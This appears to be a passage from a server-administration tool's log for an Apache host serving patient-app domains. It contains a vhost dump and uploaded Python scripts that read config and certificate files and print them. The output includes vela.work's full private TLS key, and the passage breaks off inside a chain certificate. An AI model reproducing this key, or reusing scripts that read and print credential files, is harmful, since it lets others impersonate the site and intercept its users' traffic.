         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 80 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:2)
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 443 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:23)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-20 06:00:48: 

PUT: /tmp/pkp417605

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/vela_www_work.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-20 06:00:48: 

chmod 755 /tmp/pkp417605; /tmp/pkp417605; rm /tmp/pkp417605

2026-05-20 06:00:48: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/vela_www_work.conf	1339

<VirtualHost *:80>
    ServerName	vela.work
    #    ServerAlias	www.vela.work
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vela_www/public
    <Directory /var/www/vela_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/www_access.log combined
    ErrorLog	/var/log/apache2/vela/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	vela.work
    #    ServerAlias	www.vela.work
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/56a76e69b767db598a27d260cea98579.crt
    DocumentRoot	/var/www/vela_www/public
    <Directory /var/www/vela_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/www_secure_access.log combined
    ErrorLog	/var/log/apache2/vela/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-05-20 06:00:48: 

PUT: /tmp/pkp304034

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/56a76e69b767db598a27d260cea98579.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-20 06:00:48: 

chmod 755 /tmp/pkp304034; /tmp/pkp304034; rm /tmp/pkp304034

2026-05-20 06:00:48: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/56a76e69b767db598a27d260cea98579.crt	5328
52:58:5b:5f:be:44:2e:7e:fd:c3:bc:80:83:24:98:f2

-----BEGIN CERTIFICATE-----
MIIE6jCCA9KgAwIBAgISBlwPjC9+BptLF7Je8vAHKlu2MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTIwMDUwMjE2WhcNMjYwODE4MDUwMjE1WjAUMRIwEAYDVQQD
Ewl2ZWxhLndvcmswggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCipTzn
KyOokzELq6xAycOYfsqxH++PBI+lAX5YwISCwy3unRSH9B12+V2r1wK+JhkemZ45
ZBcJ/FcqQ3i+cJEK8CB1unz4LkzBnUfep2nxUEExEgo/rJ5ljpUzf+vufxTWe+yQ
8DybKxNpeLtmcHzYNa4mPbFg7fCRtCz0fX1LtrsM/9oaL9PoZUnKd6lGgxBqyU1P
RW6/kQLNpSHlG5HK42KtJCc3HthnoZOgbYg30aZ0eh60toFWUqOeyXbcP6o8UhQQ
KDlz5ayY5g5siDZycv7n0TtOMwyynFr+/p4vcRf2AUyhdsS31sJ+Ya6/Zg7njI0E
x5uYrBW6ea3Xq/dRAgMBAAGjggIVMIICETAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0l
BAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUO1t4eb1bqo73
ZixN57GTaZwUv0owHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKEDjvWkjMwMwYI
KwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmkubGVuY3Iub3Jn
LzAUBgNVHREEDTALggl2ZWxhLndvcmswEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYD
VR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy81NS5jcmwwggEK
BgorBgEEAdZ5AgQCBIH7BIH4APYAfQBGr4Y9Oz7ln6V33qgkXTaw2e0ioiP0YXdB
IpRS7pVQXwAAAZ5D+Of6AAgAAAUABxupogQDAEYwRAIga2h9PGpj/q+EW8Is0Wcd
cjq6QJEappylQ+o/b/n9U4MCIBx+xArpZCWwolE57EL5Qrr5Y7FkKNXipaL+7SEY
mJ72AHUAr2eIO1ewTt2Pptl+9i6o64EKx3Fg8CReVdYML+eFhzoAAAGeQ/jrVAAA
BAMARjBEAiAO/InoL9ziqjv/8k88snNw0Tz0d1fXj5LKaFsgs8uv9gIgQQNTeaRi
+sF5fxafjZQO0GANf5Sj68fESV8YrMdOH9UwDQYJKoZIhvcNAQELBQADggEBAAhF
svdnWIoWf371jmUiSZnb0PT8WAOmLpE8h6lil9LbvUYEFay1J19wfp/SUvF0FSCz
069u1AQMeLVn6zmvteVv3kf0fcKcrTIMvK5G3PCdsbDneqZ3f2UYWhyELKqYsJHo
MxCdu56NbCQEGQNiV8/acpw9mamL5Tvmo3U7lUP0dlzGjKewwtMmD0nMT2wZzJej
YnNlStIB5qogSw0/YCEz3+HK9RpvMpHYmEG0gfxVsobthZt9bxuWrxqc6XdbvIof
gCSCkyYVE1cl1EfcArNpGoA1KX/SMdvrTYQyJXYgOFfdl3S/R4UHIjsPUocYC4ez
mpAUDxe4jUiZEX9m6g0=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCipTznKyOokzEL
q6xAycOYfsqxH++PBI+lAX5YwISCwy3unRSH9B12+V2r1wK+JhkemZ45ZBcJ/Fcq
Q3i+cJEK8CB1unz4LkzBnUfep2nxUEExEgo/rJ5ljpUzf+vufxTWe+yQ8DybKxNp
eLtmcHzYNa4mPbFg7fCRtCz0fX1LtrsM/9oaL9PoZUnKd6lGgxBqyU1PRW6/kQLN
pSHlG5HK42KtJCc3HthnoZOgbYg30aZ0eh60toFWUqOeyXbcP6o8UhQQKDlz5ayY
5g5siDZycv7n0TtOMwyynFr+/p4vcRf2AUyhdsS31sJ+Ya6/Zg7njI0Ex5uYrBW6
ea3Xq/dRAgMBAAECggEAD5FjZ/kgG6WjHyvafAUT/Me+HQAijPzxxuiCsHoU9PM7
tUhBy9WY8GdkCOu2rn61DtHDbFjhP6pwqXH137yklXhwkvQ7vAGqhSnJ1E0P/fIh
m1HPu1KJgs0ICPromVZ+px0LgsAL/Qo9fG36+g4wVP2mYrCrBs0fpsKpPum4EYQP
+PqS/IW3GTmmYV0bMnKSpyDgDNJW5PNlAyQfc17efTO5LqnKnYPsH+WiW78ENkpQ
50Nng0f98mi/fZVl6yHyCcxRynFSHRb4BFy6drqxD3CUtBhtFkR5PGSiSdqY8/Kp
l2aRCLcebPJFeLp7ebntRfiu/juBIfYB6zKyBuJIZQKBgQDYCSusiFFj6y3Gr5/7
FYiJRwXW3wMC5RlEoSVZ64TCDSD4wWxgmR1E4BzB+lMoA7lpsl0kmr1WeGcXuJW1
aw3eHkoQXUQqF6DpmLgSN0sNd+rgAXMRAaCkdP2t2YzP4zhoEOSImGOR4vomdr6Z
Bn48uRfBc5WZxH5iuOsnz5EXdwKBgQDAu6edd2U/bYkl2paGa4JhMuHmRREYBKc/
O8GqNFeaUXt4eV6tOJJiXGSHJ8gF9eEDhO09FUzmXyLt86IVu8zoknzpGbogKEYF
wIbV0/uWV/XFVeVR5arfXrjOwO9DW94GxsjC7A2PoV9D9lXnuJp8hptxi0xlbTWp
fS9340gpdwKBgDpvaJfXm6RaVdx7XtusvGzdgC/ZzNe4nngY2qCS+yr+ICAJOcZ7
RBaARGcXzexx7XIwo88l5/b+xGv/KseSuIKPUNtSTwDPuV/WRlvvBucSu75xxe0g
spIpbwDaaqNEw9oqT5a/GZe5fI5w6ic8QWMtccaK/DlGlCUh/cGb/JQLAoGAExzI
02m6pZ6UIifaE3xn0oG8OxyQRGR5vWCMpPdJ1KjN6LWIeP8KLSziXzDHuieW58Vv
zUXmeVXn3dbyNNuJx2p3bpo5heTYhMuB04SRB2izm50X/5YZ6sq24vHpCDH9A4kE
8ad89MhY7SFphXAeCclDcvAQZGJ/Fs6uPWJRjqMCgYAa51Qpa0SJqAIgb06KPKTx
unMOV+yMHlcmfYgZW87H/uNZLl/ioJJ3KkACq2awLd6+PFqSUSV7cbVj3tgMG5Xt
zR43OzS1dRLvORZDbAbNc/WkX9qWFLqmv+aymy+rX/c2EMsSL+C95J4ogy6r2GAo
SaeJnEZiE8rAe9X113ppJQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
